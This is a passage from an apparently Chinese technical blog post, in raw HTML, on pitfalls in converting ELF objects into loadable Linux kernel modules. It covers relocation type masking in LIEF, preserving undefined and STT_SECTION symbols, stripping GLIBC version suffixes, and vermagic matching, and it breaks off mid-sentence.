&#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 3：重定位类型里藏着架构前缀</span></p><p data-line="445" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">ELF 解析库（这里用的是 LIEF）在表示重定位类型时，把架构信息编码进了类型值的高位：</span></p><table style="border-collapse: collapse;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">重定位类型</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">标准值</span></p></th><th style="text-align: left;border-bottom: 1px solid rgba(0, 0, 0, 0.69);padding: 5px 10px;border-top-color: rgba(0, 0, 0, 0.69);border-right-color: rgba(0, 0, 0, 0.69);border-left-color: rgba(0, 0, 0, 0.69);"><p><span leaf="">LIEF 返回</span></p></th></tr></thead><tbody><tr><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">R_X86_64_64</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">1</span></p></td><td style="padding: 5px 10px;border-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">0x80000001</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">R_X86_64_PC32</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">2</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">0x80000002</span></p></td></tr><tr><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">R_AARCH64_ABS64</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">1</span></p></td><td style="padding: 5px 10px;border-top: 1px solid rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-bottom-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18);"><p><span leaf="">0x101</span></p></td></tr></tbody></table><p data-line="453" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果直接把 LIEF 编码的类型值写回 ELF 的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">r_info</span></code><span leaf=""> 字段，接收方按标准解码会得到完全不同的数字。用掩码 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">0x7FFFFFF</span></code><span leaf="">（低 27 位，对应 ELF 规范中 r_info 的低位布局）剥离架构前缀即可。</span></p><p data-line="455" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 4：UND 符号不要碰</span></p><p data-line="457" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核模块引用的外部符号——</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">_printk</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kmalloc</span></code><span leaf="">, </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">kfree</span></code><span leaf="">——在原文件里 shndx = 0（SHN_UNDEF）。</span></p><p data-line="459" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">回顾上面的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">simplify_symbols()</span></code><span leaf=""> 源码：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="461" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">case</span></span><span leaf=""> SHN_UNDEF:</span><span leaf=""><br/></span><span leaf="">    ksym = resolve_symbol_wait(mod, info, name);  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// 只有 shndx==0 才走这里</span></span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (ksym &amp;&amp; !IS_ERR(ksym)) {</span><span leaf=""><br/></span><span leaf="">        sym[i].st_value = kernel_symbol_value(ksym);</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">    }</span></code></pre><p data-line="470" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">内核根据 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shndx == SHN_UNDEF</span></code><span leaf=""> 来判断是否需要在全局符号表里搜索。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">SHN_UNDEF</span></code><span leaf=""> 的值就是 0。</span></p><p data-line="472" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">在转换过程中，段的增删导致段索引需要重新映射。写映射逻辑时，很容易写出：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="474" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (orig_shndx &gt; </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf=""> &amp;&amp; orig_shndx &lt; SHN_ABS)</span><span leaf=""><br/></span><span leaf="">    映射到新段索引</span><span leaf=""><br/></span><span style="color: rgb(0, 0, 255);"><span leaf="">else</span></span><span leaf=""><br/></span><span leaf="">    shndx = SHN_ABS  </span><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf="">// ← shndx==0 落入了这个分支！</span></span></code></pre><p data-line="481" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">shndx = 0 被改写成了 SHN_ABS（0xFFF1）。内核看到 SHN_ABS，直接走 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">break</span></code><span leaf=""> 分支，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">st_value</span></code><span leaf=""> 保持不变——对 UND 符号来说就是 0。外部调用全部悬空，内核不会去符号表里找。</span></p><p data-line="483" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">教训：shndx 为 0 时必须原样保持 0。一个 if (orig_shndx == 0) 的提前判断就够。</span></p><p data-line="485" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 5：空名字的符号不一定是垃圾</span></p><p data-line="487" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是最反直觉的一个坑。</span></p><p data-line="489" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">写符号过滤逻辑时，很自然会跳过&#34;名字为空、value 为 0、size 为 0&#34;的符号。但有一种叫 STT_SECTION 的符号类型——表示&#34;段本身&#34;。它的名字确实是空的，value 也可以是 0，但它是重定位的重要目标。</span></p><p data-line="491" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">什么时候重定位会引用STT_SECTION</span></p><ul style="margin-top: 0px;margin-bottom: 0.7em;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rodata</span></code><p><span leaf=""> 里的字符串常量 → 重定位需要 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.rodata</span></code><span leaf=""> 段的基址</span></p></li><li><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><p><span leaf=""> 里的异常处理表（eh_frame）→ 重定位需要 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">.text</span></code><span leaf=""> 段的基址</span></p></li><li><p><span leaf="">任何需要段基址作为重定位计算基准的地方</span></p></li></ul><p data-line="497" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这些重定位通过 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shndx</span></code><span leaf=""> 字段关联到 STT_SECTION 符号，再由 STT_SECTION 符号的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">shndx</span></code><span leaf=""> 找到目标段，最终由 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">simplify_symbols()</span></code><span leaf=""> 的 default 分支加上段基址。</span></p><p data-line="499" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">如果 STT_SECTION 符号被当成无效条目清理掉了，引用了它的重定位条目就找不到目标，要么指向符号 0（空符号），要么符号索引越界。</span></p><p data-line="501" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">教训：符号的生死不能单靠名字和 value 判断。类型为 STT_SECTION 的必须保留，并建立原始段索引到新符号索引的映射表。</span></p><p data-line="503" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 6：符号版本后缀</span></p><p data-line="505" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从 .so 文件提取符号时（即使最终不用 .so 做输入，这个坑也值得记），符号名可能带版本后缀：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="507" dir="auto" style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;"><span style="color: rgb(0, 122, 204);"><span leaf="">puts</span></span><span leaf="">@GLIBC_2</span><span style="color: rgb(0, 128, 0);"><span leaf="">.2</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">.5</span></span><span leaf=""><br/></span><span leaf="">__cxa_atexit@GLIBC_2</span><span style="color: rgb(0, 128, 0);"><span leaf="">.2</span></span><span style="color: rgb(0, 128, 0);"><span leaf="">.5</span></span></code></pre><p data-line="512" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这是 GNU 符号版本控制机制。内核的 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">resolve_symbol_wait()</span></code><span leaf=""> 做的是直接 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">strcmp</span></code><span leaf="">，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">@GLIBC_2.2.5</span></code><span leaf=""> 这种后缀当然对不上。在构建输出符号表时，查找 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">@</span></code><span leaf=""> 字符并截断就行。</span></p><p data-line="514" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">坑 7：vermagic 精确匹配</span></p><p data-line="516" dir="auto" style="margin-top: 0px;margin-bottom: 16px;color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">check_modinfo()</span></code><span leaf=""> 和 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">same_magic()</span></code><span leaf=""> 的源码可以看出，vermagic 做的是严格字符串比对（或跳过第一个空格前缀后的比对）。vermagic 的构成由 </span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 